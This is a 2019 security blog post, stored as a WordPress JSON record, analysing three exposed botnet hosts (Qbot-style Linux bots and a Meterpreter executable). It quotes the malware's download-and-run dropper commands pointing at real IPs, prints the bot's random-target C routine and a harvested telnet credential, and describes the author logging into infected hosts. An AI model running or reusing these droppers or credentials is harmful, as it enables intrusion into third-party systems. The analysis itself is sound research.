{"id":1589,"date":"2019-06-27T06:01:10","date_gmt":"2019-06-27T06:01:10","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=1589"},"modified":"2019-06-30T06:17:18","modified_gmt":"2019-06-30T06:17:18","slug":"yet-another-botnet-writeup","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2019\/06\/yet-another-botnet-writeup\/","title":{"rendered":"Yet Another Botnet Writeup"},"content":{"rendered":"<p>Whaddup RE people?<\/p>\n<p>I have a treat especial just for you. I didn&#8217;t find 1 botnet host, I found 3.<\/p>\n<p>The first item on the menu is Linux based. This one with working clients across many platforms including MIPS, Motorola, and even ARM. For those of you living under a rock, botnets are networks of infected machines used to initiate ddos attacks against networks and such. Bad news.<\/p>\n<p>So how did I find these?<\/p>\n<p>One day someone sends me a link to a 4chan knock off. I get curious about where it&#8217;s hosted. I scanned the CDIR, found a bunch of odd hosts and stumbled upon a few IP&#8217;s with their clients out in the open. Oops.<br><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/browse.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-large wp-image-1590\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/browse-1024x549.png\" alt=\"\" width=\"640\" height=\"343\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/browse-1024x549.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/browse-300x161.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/browse-768x412.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/browse.png 1920w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><br>So obviously I have to wget that shit as soon as possible right? Can&#8217;t have it going offline before I&#8217;m done with it&#8230;<br><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/wget.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-large wp-image-1591\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/wget-1024x593.png\" alt=\"\" width=\"640\" height=\"371\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/wget-1024x593.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/wget-300x174.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/wget-768x445.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/wget.png 1103w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p><\/p>\n\n\n<p>I have something like 191 thousand username \/ password \/ ip \/ port combinations. Sure some of them are offline, but most are still there. Pretty big botnet. This was the contents of the &#8216;infected.txt&#8217; file.<\/p>\n\n\n\n<p>Remember telnet? I do. Some of them work, some don&#8217;t. I don&#8217;t care enough to ping each one for connectivity, but I got a few dozen to work just fine&#8230;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"427\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/image-1024x427.png\" alt=\"\" class=\"wp-image-1594\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/image-1024x427.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/image-300x125.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/image-768x320.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/01\/image.png 1316w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Each binary seems to follow the same pattern &#8211; randomly try a new host to infect, much like a virus and move on. <\/p>\n\n\n\n<p> What about the bots?<br>There are a number of bot clients in various architectures ranging from :<\/p>\n\n\n\n<ul><li>Arm<\/li><li>Mips<\/li><li>Power Pc<\/li><li>Sparc<\/li><li>Itanium<\/li><li>Super H<\/li><li>x86\/x64&nbsp;<\/li><\/ul>\n\n\n\n<p>Whoever made this had a goal in mind &#8211; infected all the Linuxes!<\/p>\n\n\n\n<p>\nWhat\u2019s inside the bots?<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/K-oUlYJC6s1MMXt-of3QFJKWG2fNhBF-1in2Z7Fq009hQvY41riSycXhAdfQenrp371DA_zu-repPmB2bb9MuCHvcbvBxF_VRRSbxyecQQep4Na7F5XWib1gOyvyn8xHKwzPKhEn--Y\" alt=\"\"\/><\/figure>\n\n\n\n<p>The strings make it obvious what it\u2019s doing&#8230;<\/p>\n\n\n\n<p> First we have our command string&#8230;<br><\/p>\n\n\n\n<p>cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/185.10.68.125\/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 185.10.68.125 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.10.68.125; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.10.68.125 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; exit<br><\/p>\n\n\n\n<p>Tl;dr &#8211; grab some bash files, throw them in various places, chmod them, run them, delete them.  Here\u2019s the contents of one of the shell scripts&#8230;<br><\/p>\n\n\n\n<p>-e #!\/bin\/bash<\/p>\n\n\n\n<p>-e cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/185.10.68.125\/ntpd; chmod +x ntpd; .\/ntpd; rm -rf ntpd<\/p>\n\n\n\n<p>-e cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/185.10.68.125\/sh; chmod +x sh; .\/sh; rm -rf sh<\/p>\n\n\n\n<p class=\"has-background has-luminous-vivid-amber-background-color\">-e cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/185.10.68.125\/&#8217; &#8216;; chmod +x &#8216; &#8216;; .\/&#8217; &#8216;; rm -rf &#8216; &#8216;<\/p>\n\n\n\n<p>^^^ I highlighted the most interesting one. The apache index doesn\u2019t support directly spaces for file names, as a result, the browser won\u2019t be able to browse to it directly. Bug or feature?<\/p>\n\n\n\n<p> So replace common programs with zombie progs?<br><br>Yes. After this is done, the next piece of code it runs replication. The process is simple &#8211; find a random IP, try the list of users and passwords from before, then attempt to connect \/ auth. How does it find a random IP programmatically?<\/p>\n\n\n\n<p><p>Just does a random number 0-255 on each of the 4 octets. Of course it seems to skip the private network ranges.<\/p> Hope you like C: <div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\"><pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #333399; font-weight: bold\">in_addr_t<\/span> <span style=\"color: #0066BB; font-weight: bold\">getRandomPublicIP<\/span>() { <span style=\"color: #008800; font-weight: bold\">if<\/span>(ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">&lt;<\/span> <span style=\"color: #0000DD; font-weight: bold\">255<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">&lt;<\/span> <span style=\"color: #0000DD; font-weight: bold\">255<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">3<\/span>] <span style=\"color: #333333\">&lt;<\/span> <span style=\"color: #0000DD; font-weight: bold\">255<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">4<\/span>] <span style=\"color: #333333\">&lt;<\/span> <span style=\"color: #0000DD; font-weight: bold\">255<\/span>)         {                 ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>]<span style=\"color: #333333\">++<\/span>; ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>]<span style=\"color: #333333\">++<\/span>; ipState[<span style=\"color: #0000DD; font-weight: bold\">3<\/span>]<span style=\"color: #333333\">++<\/span>; ipState[<span style=\"color: #0000DD; font-weight: bold\">4<\/span>]<span style=\"color: #333333\">++<\/span>;                 <span style=\"color: #333399; font-weight: bold\">char<\/span> ip[<span style=\"color: #0000DD; font-weight: bold\">16<\/span>];                 szprintf(ip, <span style=\"background-color: #fff0f0\">\"%d.%d.%d.%d\"<\/span>, ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>], ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>], ipState[<span style=\"color: #0000DD; font-weight: bold\">3<\/span>], ipState[<span style=\"color: #0000DD; font-weight: bold\">4<\/span>]); <span style=\"color: #008800; font-weight: bold\">return<\/span> inet_addr(ip);         } ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">=<\/span> rand() <span style=\"color: #333333\">%<\/span> <span style=\"color: #0000DD; font-weight: bold\">255<\/span>; ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">=<\/span> rand() <span style=\"color: #333333\">%<\/span> <span style=\"color: #0000DD; font-weight: bold\">255<\/span>;         ipState[<span style=\"color: #0000DD; font-weight: bold\">3<\/span>] <span style=\"color: #333333\">=<\/span> rand() <span style=\"color: #333333\">%<\/span> <span style=\"color: #0000DD; font-weight: bold\">255<\/span>; ipState[<span style=\"color: #0000DD; font-weight: bold\">4<\/span>] <span style=\"color: #333333\">=<\/span> rand() <span style=\"color: #333333\">%<\/span> <span style=\"color: #0000DD; font-weight: bold\">255<\/span>;         <span style=\"color: #008800; font-weight: bold\">while<\/span>(                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span>) <span style=\"color: #333333\">||<\/span>                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">10<\/span>) <span style=\"color: #333333\">||<\/span>                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">100<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> (ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">>=<\/span> <span style=\"color: #0000DD; font-weight: bold\">64<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">&lt;=<\/span> <span style=\"color: #0000DD; font-weight: bold\">127<\/span>)) <span style=\"color: #333333\">||<\/span>                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">127<\/span>) <span style=\"color: #333333\">||<\/span>                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">169<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">254<\/span>) <span style=\"color: #333333\">||<\/span>                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">172<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> (ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">&lt;=<\/span> <span style=\"color: #0000DD; font-weight: bold\">16<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">&lt;=<\/span> <span style=\"color: #0000DD; font-weight: bold\">31<\/span>)) <span style=\"color: #333333\">||<\/span>                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">192<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">3<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">2<\/span>) <span style=\"color: #333333\">||<\/span>                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">192<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">88<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">3<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">99<\/span>) <span style=\"color: #333333\">||<\/span>                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">192<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">168<\/span>) <span style=\"color: #333333\">||<\/span>                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">198<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> (ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">18<\/span> <span style=\"color: #333333\">||<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">19<\/span>)) <span style=\"color: #333333\">||<\/span>                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">198<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">51<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">3<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">100<\/span>) <span style=\"color: #333333\">||<\/span>                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">203<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">0<\/span> <span style=\"color: #333333\">&amp;&amp;<\/span> ipState[<span style=\"color: #0000DD; font-weight: bold\">3<\/span>] <span style=\"color: #333333\">==<\/span> <span style=\"color: #0000DD; font-weight: bold\">113<\/span>) <span style=\"color: #333333\">||<\/span>                 (ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">>=<\/span> <span style=\"color: #0000DD; font-weight: bold\">224<\/span>)         )         {                 ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>] <span style=\"color: #333333\">=<\/span> rand() <span style=\"color: #333333\">%<\/span> <span style=\"color: #0000DD; font-weight: bold\">255<\/span>;          ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>] <span style=\"color: #333333\">=<\/span> rand() <span style=\"color: #333333\">%<\/span> <span style=\"color: #0000DD; font-weight: bold\">255<\/span>;          ipState[<span style=\"color: #0000DD; font-weight: bold\">3<\/span>] <span style=\"color: #333333\">=<\/span> rand() <span style=\"color: #333333\">%<\/span> <span style=\"color: #0000DD; font-weight: bold\">255<\/span>; ipState[<span style=\"color: #0000DD; font-weight: bold\">4<\/span>] <span style=\"color: #333333\">=<\/span> rand() <span style=\"color: #333333\">%<\/span> <span style=\"color: #0000DD; font-weight: bold\">255<\/span>;         } <span style=\"color: #333399; font-weight: bold\">char<\/span> ip[<span style=\"color: #0000DD; font-weight: bold\">16<\/span>];         szprintf(ip, <span style=\"background-color: #fff0f0\">\"%d.%d.%d.%d\"<\/span>, ipState[<span style=\"color: #0000DD; font-weight: bold\">1<\/span>], ipState[<span style=\"color: #0000DD; font-weight: bold\">2<\/span>], ipState[<span style=\"color: #0000DD; font-weight: bold\">3<\/span>], ipState[<span style=\"color: #0000DD; font-weight: bold\">4<\/span>]); <span style=\"color: #008800; font-weight: bold\">return<\/span> inet_addr(ip); } <\/pre><\/div><\/p>\n\n\n\n<p> A quick cursory search on github with a few names of the functions (like \u2018StartTheLelz\u2019) I saw quickly gave me source code. Qbot.&nbsp;<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/AgentCri\/CnC\/blob\/ecacec9cfe9874cfa6c54cfed239faa29ab75bac\/Clients\/(QBOT)%20Unix%20Client.c\">https:\/\/github.com\/AgentCri\/CnC\/blob\/ecacec9cfe9874cfa6c54cfed239faa29ab75bac\/Clients\/(QBOT)%20Unix%20Client.c<\/a><\/p>\n\n\n\n<p>I wasn\u2019t expecting some complex shit on a PUBLICLY EXPOSED IP address.&nbsp;<\/p>\n\n\n\n<p>The github link posted does a better job explaining the rest of the functionality. Check passwords, connect, spread, flood UPD, TCP, etc.&nbsp;<\/p>\n\n\n\n<p><strong> Wrap up of first botnet host <\/strong>:<br><\/p>\n\n\n\n<p>The user\/passes in these files\ndon\u2019t add up &#8211; the passwords inside don\u2019t match what\u2019s in the bot. Exmaple:\n104.206.241.222:23 root:t0talc0ntr0l4!<\/p>\n\n\n\n<p>Most of these accounts aren\u2019t root shells either, but are you really that picky?<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"232\" height=\"348\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-1.png\" alt=\"\" class=\"wp-image-1618\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-1.png 232w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-1-200x300.png 200w\" sizes=\"(max-width: 232px) 100vw, 232px\" \/><\/figure>\n\n\n\n<p><strong>Second botnet host<\/strong><\/p>\n\n\n\n<p>Rather innocuous, just a lone exe. What could it be?<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"543\" height=\"388\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-2.png\" alt=\"\" class=\"wp-image-1619\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-2.png 543w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-2-300x214.png 300w\" sizes=\"(max-width: 543px) 100vw, 543px\" \/><\/figure>\n\n\n\n<p>Like all suspected windows executables on the net, it\u2019s packed, because of course it is. Before you ask how I know, you can just tell looking at strings and the lack of exported \/ import functions.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"606\" height=\"286\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-3.png\" alt=\"\" class=\"wp-image-1620\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-3.png 606w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-3-300x142.png 300w\" sizes=\"(max-width: 606px) 100vw, 606px\" \/><\/figure>\n\n\n\n<p>Unpacking this was trivial. This might be the dunning-kruger effect, but this was pretty easy for me. Just located the VirtualAlloc call that was setting the protection type to \u2018execute\u2019 that loaded the encrypted strings I saw earlier.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"395\" height=\"380\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-4.png\" alt=\"\" class=\"wp-image-1621\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-4.png 395w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-4-300x289.png 300w\" sizes=\"(max-width: 395px) 100vw, 395px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"674\" height=\"401\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-5.png\" alt=\"\" class=\"wp-image-1622\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-5.png 674w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-5-300x178.png 300w\" sizes=\"(max-width: 674px) 100vw, 674px\" \/><\/figure>\n\n\n\n<p>Break on run, locate buffer, save. <\/p>\n\n\n\n<p>So what the fuck is it? Meterpreter shell. How did I come up with this? Again, look at the function names (why don\u2019t people strip these?) and browse github.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"552\" height=\"236\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-6.png\" alt=\"\" class=\"wp-image-1623\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-6.png 552w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-6-300x128.png 300w\" sizes=\"(max-width: 552px) 100vw, 552px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"566\" height=\"392\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-7.png\" alt=\"\" class=\"wp-image-1624\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-7.png 566w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-7-300x208.png 300w\" sizes=\"(max-width: 566px) 100vw, 566px\" \/><\/figure>\n\n\n\n<p>The fFunction named \u2018packet_call_completion_handlers\u2019 stands out.  I found it on github under meterpreter&#8217;s source code:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"503\" height=\"406\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-8.png\" alt=\"\" class=\"wp-image-1625\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-8.png 503w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-8-300x242.png 300w\" sizes=\"(max-width: 503px) 100vw, 503px\" \/><\/figure>\n\n\n\n<p><strong> Wrapping up Bot 2 <\/strong><\/p>\n\n\n\n<p>Just a meterpreter exe. Likely a staging point for metasploit. <\/p>\n\n\n\n<p><strong>Bot 3 &#8211; The other Linux one<\/strong>.<\/p>\n\n\n\n<p>This one has a much larger haul of users \/ passwords than the last one. Way more binaries too.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"441\" height=\"485\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-9.png\" alt=\"\" class=\"wp-image-1626\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-9.png 441w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-9-273x300.png 273w\" sizes=\"(max-width: 441px) 100vw, 441px\" \/><\/figure>\n\n\n\n<p> What do we have this time? More Complex than #1 <\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"651\" height=\"325\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-12.png\" alt=\"\" class=\"wp-image-1629\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-12.png 651w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-12-300x150.png 300w\" sizes=\"(max-width: 651px) 100vw, 651px\" \/><\/figure>\n\n\n\n<p> More passwords, more users, more architectures.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"617\" height=\"408\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-13.png\" alt=\"\" class=\"wp-image-1630\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-13.png 617w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-13-300x198.png 300w\" sizes=\"(max-width: 617px) 100vw, 617px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"549\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/Untitled-1024x549.png\" alt=\"\" class=\"wp-image-1631\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/Untitled-1024x549.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/Untitled-300x161.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/Untitled-768x412.png 768w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/Untitled.png 1920w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>This one operates the same way as the previous one, just has more users and passwords. <\/p>\n\n\n\n<p>The command string pulled from the binaries is like the first one:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">wget http:\/\/185.10.68.45\/bins\/ultronfinal.mips;chmod 777 ultronfinal.mips;.\/ultronfinal.mips;rm -rf ultronfinal.mips<\/pre>\n\n\n\n<p>Grab a binary, chmod it, run it, delete it. <\/p>\n\n\n\n<p>I know what you&#8217;re thinking: &#8220;Joe, what&#8217;s in the PCAP files?&#8221; <\/p>\n\n\n\n<p>Nothing. All lame shit. Disappointing.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"757\" height=\"331\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-10.png\" alt=\"\" class=\"wp-image-1627\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-10.png 757w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-10-300x131.png 300w\" sizes=\"(max-width: 757px) 100vw, 757px\" \/><\/figure>\n\n\n\n<p>What about the JSON files? What&#8217;s in those?<\/p>\n\n\n\n<p>The big huge one \u2018servers.json\u2019\ncontains the following:<\/p>\n\n\n\n<p>,.{&nbsp;&nbsp; &#8220;ip&#8221;:\n&#8220;184.95.45.22&#8221;,&nbsp;&nbsp;\n&#8220;timestamp&#8221;: &#8220;1537106844&#8221;, &#8220;ports&#8221;: [\n{&#8220;port&#8221;: 63922, &#8220;proto&#8221;: &#8220;tcp&#8221;,\n&#8220;status&#8221;: &#8220;open&#8221;, &#8220;reason&#8221;: &#8220;syn-ack&#8221;,\n&#8220;ttl&#8221;: 52} ] }.,.{&nbsp;&nbsp;\n&#8220;ip&#8221;: &#8220;108.170.33.182&#8221;,&nbsp;&nbsp; &#8220;timestamp&#8221;:\n&#8220;1537106844&#8221;, &#8220;ports&#8221;: [ {&#8220;port&#8221;: 38445,\n&#8220;proto&#8221;: &#8220;tcp&#8221;, &#8220;status&#8221;: &#8220;open&#8221;,\n&#8220;reason&#8221;: &#8220;syn-ack&#8221;, &#8220;ttl&#8221;: 52} ] }.,.{&nbsp;&nbsp; &#8220;ip&#8221;:\n&#8220;184.95.45.22&#8221;,&nbsp;&nbsp;\n&#8220;timestamp&#8221;: &#8220;1537106845&#8221;, &#8220;ports&#8221;: [\n{&#8220;port&#8221;: 24884, &#8220;proto&#8221;: &#8220;tcp&#8221;,\n&#8220;status&#8221;: &#8220;open&#8221;, &#8220;reason&#8221;: &#8220;syn-ack&#8221;,\n&#8220;ttl&#8221;: 52} ] }.<\/p>\n\n\n\n<p>Ports, IP\u2019s, timestamps. Hundreds of thousands of entries. <\/p>\n\n\n\n<p>Visit one of the IP&#8217;s and they all seem to be the same thing: NGINX. Maybe its some sort of 0day?<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"526\" height=\"401\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-11.png\" alt=\"\" class=\"wp-image-1628\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/image-11.png 526w, 